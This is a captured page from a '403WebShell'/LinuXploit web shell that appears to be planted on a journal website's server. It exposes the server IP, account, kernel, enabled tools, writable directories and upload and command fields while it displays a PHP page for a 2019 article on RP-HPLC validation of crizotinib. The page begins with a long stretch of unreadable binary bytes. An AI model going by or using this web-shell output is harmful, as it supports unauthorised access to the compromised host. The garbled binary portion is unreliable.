�a����J�SQ�a���r�B;����}���ٻ֢�2�%U���c�#�g���N�a�ݕ�'�v�[�OY'��3L�3�;,p�]@�S��{ls��X�'���c�jw� k'a�.��}�}&�� �dP�*�bK=ɍ!����;3n�gΊU�ߴmt�'*{,=SzfD� A��ko~�G�aoq�_mi}#�m�������P�Xhύ��� �mxǍ�΂���巿zf��Q���c���|kc�����?���W��Y�$���_Lv����l߶��c���`?����l�j�ݲˏ!V��6����U�Ђ(A���4y)H���p�Z_�x��>���e�� R��$�/�`^'3qˏ�-&Q�=?��CFVR �D�fV�9��{�8g�������n�h�(P"��6�[�D���< E�����~0<@�`�G�6����Hг�cc�� �c�K.5��D��d�B���`?�XQ��2��ٿyqo&+�1^� DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1 [y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN�� ĕ�� 0    !01@Q"2AaPq3BR������ ? � ��@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j �ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^� ��ԯ̾9Z��F��������n��1��� ��]�[��)�'������ :�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ��&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0�� ;_�� 3     !01"@AQa2Pq#3BR������ ? � �ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6�������� ��4B>��o��](��$B���m�����a�!=� �?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{ E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)��� �I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a �84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b� �$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7� �k�� 403WebShell
403Webshell
Server IP : 132.148.112.237  /  Your IP : 216.73.216.191
Web Server : Apache
System : Linux p3plmcpnl497166.prod.phx3.secureserver.net 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : m483e053zf9r ( 10082050)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/m483e053zf9r/public_html/madridge.org/journals-admin/uploads/fulltext/IJBP/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/m483e053zf9r/public_html/madridge.org/journals-admin/uploads/fulltext/IJBP/ijbp-1000101.php
<?php
$extpath="../";
include 'includes/jrnheader.php';
include 'includes/jrnleftfulltext-panel.php';
//$imgpath="";
?>
<div class="fultextmenu" id="fultext-menu">
	<div class="hidden-xs">
		<div class="affix affixside-menu" data-spy="affix" data-offset-top="1100">
			<h3 class="s-property-title">Full Text Contents</h4>
				<ul class="list-unstyled fulltext-ul">
					<li><a href="#articleinfo">Article Info</a></li>
					<li><a href="#abstract">Abstract</a></li>
					<li><a href="#intro">Introduction</a></li>
<li><a href="#methods">Materials and Methods</a></li>
					<li><a href="#discussion">Discussion</a></li>
					<li><a href="#references">References</a></li>											
				</ul>
		</div>
	</div>
</div>
</div><!--end of leftpanel col-md-3-->
<div class="col-md-9 padding-top-15">
	<div class="container">
		<ul class="nav nav-tabs" style="border-bottom: 0px;">
			<li class="active"><a href="#articleinfo">Article Info</a></li>
			<li><a href="#abstract">Abstract</a></li>
			<li><a href="#intro">Introduction</a></li>
<li><a href="#methods">Materials and Methods</a></li>
			<li><a href="#discussion">Discussion</a></li>
			<li><a href="#references">References</a></li>							
		</ul>
	</div>
        <div class="row">
            <div class="col-md-12">
		<section class="post">
			<div class="row">
				<div class="col-md-12">
					<div class="articledetails article-header clearfix">
<p class="art-type" id="articleinfo">Research Article</p>
<p class="art-title">Analytical methods Development and Validation of
Crizotinib by RP-HPLC Technique</p>
<p class="art-author"><?php $authors="Prapulla Putta<sup>*</sup>"; echo (stristr($authors,$coauthor))?str_replace($coauthor,"<a href='".$extpath."authors/".$courl."' target='_blank'>".$coauthor."</a>",$authors):$authors; ?></p>
<p class="art-affl">Department of Chemistry, Mother Teresa College of Pharmacy, N.F.C Nagar, Ghatkesar, Medchal, Telangana, India</p>
<p class="art-aff"><b>*Corresponding author: <?php $corresponding_author="Prapulla Putta"; echo ($coauthor!="" && $coauthor==$corresponding_author)?"<a href='".$extpath."authors/".$courl."' target='_blank'>".$coauthor."</a>":$corresponding_author;?></b>,
Associate Professor
Department of Chemistry,
Mother Teresa College of Pharmacy, N.F.C Nagar,
Ghatkesar, Medchal, Telangana
India,
Tel: +91-92914-42653,
E-mail: <a href="mailto:prapullapharmacy@gmail.com">prapullapharmacy@gmail.com</a></p>
<p class="art-aff"><b>Received:</b> December 17, 2018
<b>Accepted:</b> January 18, 2019
<b>Published:</b> January 28, 2019</p>
<p class="art-aff"><b>Citation:</b> Putta P. Analytical methods
Development and Validation of Crizotinib
by RP-HPLC Technique. <i>Int J Biochem
Pharmacol</i>. 2019; 1(1): 1-4.
doi: <a href="https://doi.org/10.18689/ijbp-1000101">10.18689/ijbp-1000101</a></p>
<p class="art-aff"><b>Copyright:</b> &copy; 2019 The Author(s). This work
is licensed under a Creative Commons
Attribution 4.0 International License, which
permits unrestricted use, distribution, and
reproduction in any medium, provided the
original work is properly cited.</p>
<p><a href="<?php echo $extpath;?><?php echo $jres['journal_link'];?>/ijbp-1000101.pdf" class="btn btn-danger pull-right" target="_blank">Download PDF</a></p>
</div>
<div class="articlecontent">
<p class="art-subhead" id="abstract">Abstract</p>
<p class="art-para">A simple, pr&#233;cised, accurate method was developed for the estimation of Crizotinib
by RP-HPLC technique. Chromatographic conditions used are stationary phase BDS 250
&#215; 4.6 mm, 5 &#181;. Mobile phase buffer: Acetonitrile in the ratio of 60:40 and flow rate was
maintained at 1 ml/min, detection wave length was 267 nm, column temperature was
set to 30&#176;C and diluents was methanol: water. System suitability parameters were
studied by injecting the standard five times and results were well (50:50), conditions
were finalized as optimized method under acceptance criteria. Linearity study was
carried out between 25% to 150% levels, r<sup>2</sup>
 value was found to be as 0.999. Precision was
found to be 1.26 for repeatability and 0.93 for intermediate precision. LOD and LOQ are
0.080 &#181;g/ml. By using above method assay of marketed formulation was carried out
100.24% was present.</p>
<p class="art-para"><b>Keywords:</b> Crizotinib; HPLC; ICH Guidelines; Method development.</p>
<p class="art-subhead" id="intro">Introduction</p>
<p class="art-para">Chromatography is a method of separating a mixture of components into individual
components through equilibrium distribution between two phases <a href="#1" id="ref1">[1]</a>. The technique of
chromatography is based on the differences in the rate at which components of a
mixture move through a porous medium (stationary phase) under the influence of some
solvent or gas (mobile phase) <a href="#2" id="ref2">[2]</a>. Crizotinib: Crizotinib, is an anti-cancer drug acting as
an ALK (anaplastic lymphoma kinase) and ROS1 (c-rosoncogene1) inhibitor <a href="#3" id="ref3">[3]</a>. The
aim and objective of the work is to develop and validate a simple and economical RP-HPLC method as per ICH guidelines for the estimation of Crizotinib in drug and
pharmaceutical dosage forms, and to study the linearity of the method (Figure 1).</p>
<div class="art-img">
<img src="<?php echo $imgpath;?>images/ijbp-101-f001.gif" class="img-responsive center-block"/></div>
<p class="art-subhead" id="methods">Materials and Methods</p>
<p class="art-para">Crizotinib was obtained as a gift sample from Wintac Ltd.,
(Bangalore). Acetonitrile served as solvent mixture was also
obtained from CDH, New Delhi. All other chemicals/reagents
were of analytical grade and were used without further
purification.</p>
<p class="art-para"><b>Preparation of buffer</b></p>
<p class="art-para">(0.1% OPA): 1 ml of Ortho phosphoric acid solution in a
1000 ml of volumetric flask is taken and add about 100 ml of
milli-Q water and final volume make up to 1000 ml with
milli-Q water <a href="#4" id="ref4">[4]</a>.</p>
<p class="art-para"><b>Optimized chromatographic conditions</b></p>
<p class="art-para">Column &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: &nbsp;BDS (250 &#215; 4.6 <b>&#181;</b>m)<br>
Mobile phase &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: &nbsp;OPA buffer: Acetonitrile (60:40)<br>
Flow rate&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : &nbsp;1.0 ml/min<br>
Detector&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : &nbsp;PDA 267 nm<br>
Temperature&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : &nbsp;30&#176;C<br>
Injection Volume&nbsp;: &nbsp;10 <b>&#181;</b>L</p>
<p class="art-para"><b>Method of validation</b></p>
<p class="art-para">The proposed method was validated for various
parameters such as linearity and range, accuracy, precision,
robustness, ruggedness, sensitivity and specificity according
to ICH Q2 (R1) guideline and USP guidelines <a href="#5" id="ref5">[5]</a>.</p>
<p class="art-para"><b>Method of linearity and range</b></p>
<p class="art-para">The linearity of an analytical procedure is its ability (within
a given range) to obtain test result which are directly
proportional to the concentration of an analyte in the sample.
The range of an analytical procedure is the interval between
the upper and lower concentration of an analyte in the sample
for which it has been demonstrated that the analytical
procedure has a suitable level of precision, accuracy and
linearity. The linearity of the analytical method was
demonstrated over the concentration range investigated by
triplicate analysis (n=3) at a concentration range of 2-20 <b>&#181;</b>g/ml. The absorbance obtained at respective concentration was recorded, and the graph is plotted as concentration (<b>&#181;</b>g/ml) versus absorbance. The linear regression equation and the coefficient correlation were obtained from the UV probe
software <a href="#6" id="ref6">[6]</a>.</p>
<p class="art-para"><b>Method of accuracy</b></p>
<p class="art-para">The accuracy of an analytical procedure expresses the
closeness of agreement between the value which is accepted
either as a conventional true value or an accepted reference
value and the value found. This is sometimes termed trueness.
The accuracy of proposed method was determined on the
basis of recovery study. Recovery study was carried out by
spiking standard working solution to sample solution
(formulation) at three different levels 80%, 100% and 120%.
The final concentration of Crizotinib was determined at each
levels of the amount; three determinations were performed.
The percentage recovery was calculated as mean &#177; standard
deviation <a href="#7" id="ref7">[7]</a>.</p>
<p class="art-para"><b>Method of precision</b></p>
<p class="art-para">The precision of an analytical procedure expresses the
closeness of agreement (degree of scatter) between a series
of measurements obtained from multiple sampling of the
homogeneous sample under the prescribed conditions. The
precision of the method was demonstrated by intra-day and
inter-day variation studies. In the intra-day precision study,
three different solutions of same concentration were prepared
and analysed in the same day (morning, noon and evening),
whereas in the inter-day precision study, the solutions of
same concentration were prepared and analysed, for three
consecutive days, and the absorbance were recorded. All
study was performed in triplicates. The result was indicated by
calculating percentage RSD <a href="#8" id="ref8">[8]</a>.</p>
<p class="art-para"><b>Method of robustness</b></p>
<p class="art-para">The robustness of an analytical procedure is a measure of
its capacity remains unaffected by small, but deliberate
variations in method parameters and provides an indication
of its reliability during normal usage <a href="#9" id="ref9">[9]</a>.</p>
<p class="art-para"><b>Method of ruggedness</b></p>
<p class="art-para">The ruggedness is a degree of reproducibility of test
result under verification of condition like a different analyst,
different instruments and different days <a href="#10" id="ref10">[10]</a>.</p>
<p class="art-para"><b>Assay procedure</b></p>
<p class="art-para">Column is equilibrated for 30 min with mobile phase. 20
<b>&#181;</b>l of diluent as blank was injected into the system and
recorded the chromatogram for a run time of 30 min (Figure
2). 20 <b>&#181;</b>l of standard preparation-1 was injected into the
system and recorded the chromatogram for a run time of 30
min. 20 <b>&#181;</b>l of standard preparation-2 was injected into the
system and recorded the chromatogram for a run time of 30
min. Test is valid only when the match factor is in between
0.98 to 1.02. 20 <b>&#181;</b>l of standard preparation-2 into the system
was separately injected for four times and recorded each
chromatogram for a run time of 30 min. Test is valid only
when the five standard preparation-2 injections pass the
system suitability <a href="#11" id="ref11">[11]</a> (Figure 3).</p>
<div class="art-img">
<img src="<?php echo $imgpath;?>images/ijbp-101-f002.gif" class="img-responsive center-block"/></div><br>
<div class="art-img">
<img src="<?php echo $imgpath;?>images/ijbp-101-f003.gif" class="img-responsive center-block"/></div>

<p class="art-subhead" id="discussion">Results and Discussion</p>
<p class="art-para">Results were shown in the below given tables and figures.
Table 1 shows system suitability data.</p>
<div class="art-img">
<img src="<?php echo $imgpath;?>images/ijbp-101-t001.gif" class="img-responsive center-block"/></div>

<p class="art-para"><b>Method of precision</b></p>
<p class="art-para">Table 2 shows the repeatability data.</p>
<div class="art-img">
<img src="<?php echo $imgpath;?>images/ijbp-101-t002.gif" class="img-responsive center-block"/></div><br>
<div class="art-img">
<img src="<?php echo $imgpath;?>images/ijbp-101-f004.gif" class="img-responsive center-block"/></div>

<p class="art-para"><b>Observation</b></p>
<p class="art-para">Crizotinib eluted with good peak shape and retention
time and tailing was passed (Figure 4).</p>
<p class="art-para"><b>Intermediate precision (Table 3)</b></p>
<p class="art-para">Six working sample solutions of 100 ppm are injected on
the next day of the preparation of samples and the % amount
found was calculated and %RSD was found to be 0.93 and
chromatogram was shown in figure 3.</p>
<div class="art-img">
<img src="<?php echo $imgpath;?>images/ijbp-101-t003.gif" class="img-responsive center-block"/></div>

<p class="art-para"><b>Method of linearity</b></p>
<p class="art-para">To demonstrate the linearity of assay method, inject 5
standard solutions with concentrations of about 37.5 ppm to
225 ppm of Crizotinib. Plot a graph to concentration versus
peak area. Slope obtained was 21035 Y-Intercept was 892.5
and Correlation Co-efficient was found to be 0.999 and
Linearity plot (Tables 4 and 5).</p>
<div class="art-img">
<img src="<?php echo $imgpath;?>images/ijbp-101-t004.gif" class="img-responsive center-block"/></div><br>
<div class="art-img">
<img src="<?php echo $imgpath;?>images/ijbp-101-t005.gif" class="img-responsive center-block"/></div>

<p class="art-subhead">Conclusion</p>
<p class="art-para">Chromatographic conditions used are stationary phase
BDS 250 &#215; 4.6 mm, 5 <b>&#181;</b>. Mobile phase buffer: Acetonitrile in
the ratio of 60:40 and flow rate was maintained at 1 ml/min,
detection wave length was 267 nm, column temperature was
set to 30&#176;C and diluents was methanol: Water (50:50),
Conditions were finalized as optimized method. System
suitability parameters were studied by injecting the standard
five times and results were well under the acceptance criteria.
Linearity study was carried out between 25% to 150% levels,
r<sup>2</sup> value was found to be as 0.999. Precision was found to be
1.26 for repeatability and 0.93 for intermediate precision. LOD
and LOQ are 0.080 <b>&#181;</b>g/ml and 0.243 <b>&#181;</b>g/ml respectively. By
using above method assay of marketed formulation was
carried out 100.24% was present.</p>

<p class="art-subhead" id="references">References</p>
<ol>
<li class="ref"><div id="1">Sethi PD. <a href="http://www.cbspd.co.in/quantitative-analysis-of-drugs-in-pharmaceutical-formulations-3ed-hb-2015-9788123905600-sethi-p-d.html" target="_blank">Quantitative analysis of Drugs & Pharmaceuticals</a>. 3<sup>rd</sup> edition,
CBS publishers and distributors, New Delhi. 2001: 1-120.&nbsp;&nbsp;&nbsp;<a href="#ref1"><i class="fa fa-level-up" aria-hidden="true"></i></a></div></li>
<li class="ref"><div id="2">PubChem. <a href="https://pubchem.ncbi.nlm.nih.gov/compound/11626560" target="_blank">Compound Summary for CID 11626560: Crizotinib</a>. Open
Chemistry Database.&nbsp;&nbsp;&nbsp;<a href="#ref2"><i class="fa fa-level-up" aria-hidden="true"></i></a></div></li>
<li class="ref"><div id="3">Ramachandra B, Naidu NVS. <a href="https://ijpbs.com/ijpbsadmin/upload/ijpbs_544f2ed193da4.pdf" target="_blank">Validation of RP -HPLC Method for
Estimation of Dasatinib In Bulk and Its Pharmaceutical Dosage Forms</a>. <i>Int J Pharm Bio Sci</i>. 2014; 4(1): 61-68.&nbsp;&nbsp;&nbsp;<a href="#ref3"><i class="fa fa-level-up" aria-hidden="true"></i></a></div></li>
<li class="ref"><div id="4">Konam K, Jadhav D. <a href="https://www.ijpbs.com/ijpbsadmin/upload/ijpbs_53dd9d1b21a5f.pdf" target="_blank">Development and validation of a RP- HPLC method
for determination of dronedarone in bulk and pharmaceutical formulation</a> <i>Int J Pharm Bio Sci</i>. 2014; 4(1): 179-185.&nbsp;&nbsp;&nbsp;<a href="#ref4"><i class="fa fa-level-up" aria-hidden="true"></i></a></div></li>
<li class="ref"><div id="5">International Conference on Harmonization (ICH). Q2A Validation of
Analytical Procedures: Methodology. Geneva. 1994.&nbsp;&nbsp;&nbsp;<a href="#ref5"><i class="fa fa-level-up" aria-hidden="true"></i></a></div></li>
<li class="ref"><div id="6">Skoog DA, Holler FJ, Nieman TA. <a href="https://books.google.co.in/books?id=D13EDQAAQBAJ&dq=Principles+of+Instrumental+Analysis,+8th+edition&source=gbs_navlinks_s" target="_blank">Principles of Instrumental Analysis</a>. 7<sup>th</sup> edition, Cengage Learning. 2017: 973-995.&nbsp;&nbsp;&nbsp;<a href="#ref6"><i class="fa fa-level-up" aria-hidden="true"></i></a></div></li>
<li class="ref"><div id="7">Rajyalakshmi Ch, Benjamin T, Rambabu C. Forced degradation study on
dronedarone and application of validated stability - indicating HPLC -UV
method in stability testing of dronedarone tablets. <i>Der Pharma Chemica</i>.
2013; 5(1): 189-195.&nbsp;&nbsp;&nbsp;<a href="#ref7"><i class="fa fa-level-up" aria-hidden="true"></i></a></div></li>
<li class="ref"><div id="8">Selvakumar S, Ravichandran S, Matsyagiri L. <a href="http://ajpaonline.com/AbstractView.aspx?PID=2016-6-4-8" target="_blank">Development and Validation
of analytical method for Simultaneous estimation of Ornidazole and
Cefixime trihydrate tablet dosage forms by UV spectroscopy</a>. <i>Asian J
Pharm Ana</i>. 2016; 6(4): 246-252.&nbsp;&nbsp;&nbsp;<a href="#ref8"><i class="fa fa-level-up" aria-hidden="true"></i></a></div></li>
<li class="ref"><div id="9">Chatwal GR, Anand SK. Instrumental Methods of Chemical Analysis. 5<sup>th</sup> Revised and Enlarged edition, Himalaya Publication House, Mumbai.
2002; 2: 630.&nbsp;&nbsp;&nbsp;<a href="#ref9"><i class="fa fa-level-up" aria-hidden="true"></i></a></div></li>
<li class="ref"><div id="10">Matsyagiri L, Jagadeesh P, Mounika B, et al. <a href="http://www.wjpr.net/dashboard/abstract_id/10140" target="_blank">Effect of solvents on
Spectrophotometric Estimation of Tinidazole in bulk and dosage forms</a>. <i>World Journal of Pharmaceutical Research</i>. 2018; 7(9): 1742-1754.&nbsp;&nbsp;&nbsp;<a href="#ref10"><i class="fa fa-level-up" aria-hidden="true"></i></a></div></li>
<li class="ref"><div id="11">Jadhav PB, Shejwal V. <a href="http://ijppr.humanjournals.com/wp-content/uploads/2017/05/8.P.-B.-Jadhav-Vivek-Shejwal.pdf" target="_blank">Development and Validation of an RP-HPLC
Method for Crizotinib</a>. <i>IJPPR Human</i>. 2017; 9(2): 100-106.&nbsp;&nbsp;&nbsp;<a href="#ref11"><i class="fa fa-level-up" aria-hidden="true"></i></a></div></li>
</ol>
</div>
            </div>
        </div>
    </section>
</div></div>
</div><!--end of row-->
</div><!--end of container-body-->
</div><!--end of content-area-->
<?php include 'includes/jrnfooter.php';?>

Youez - 2016 - github.com/yon3zu
LinuXploit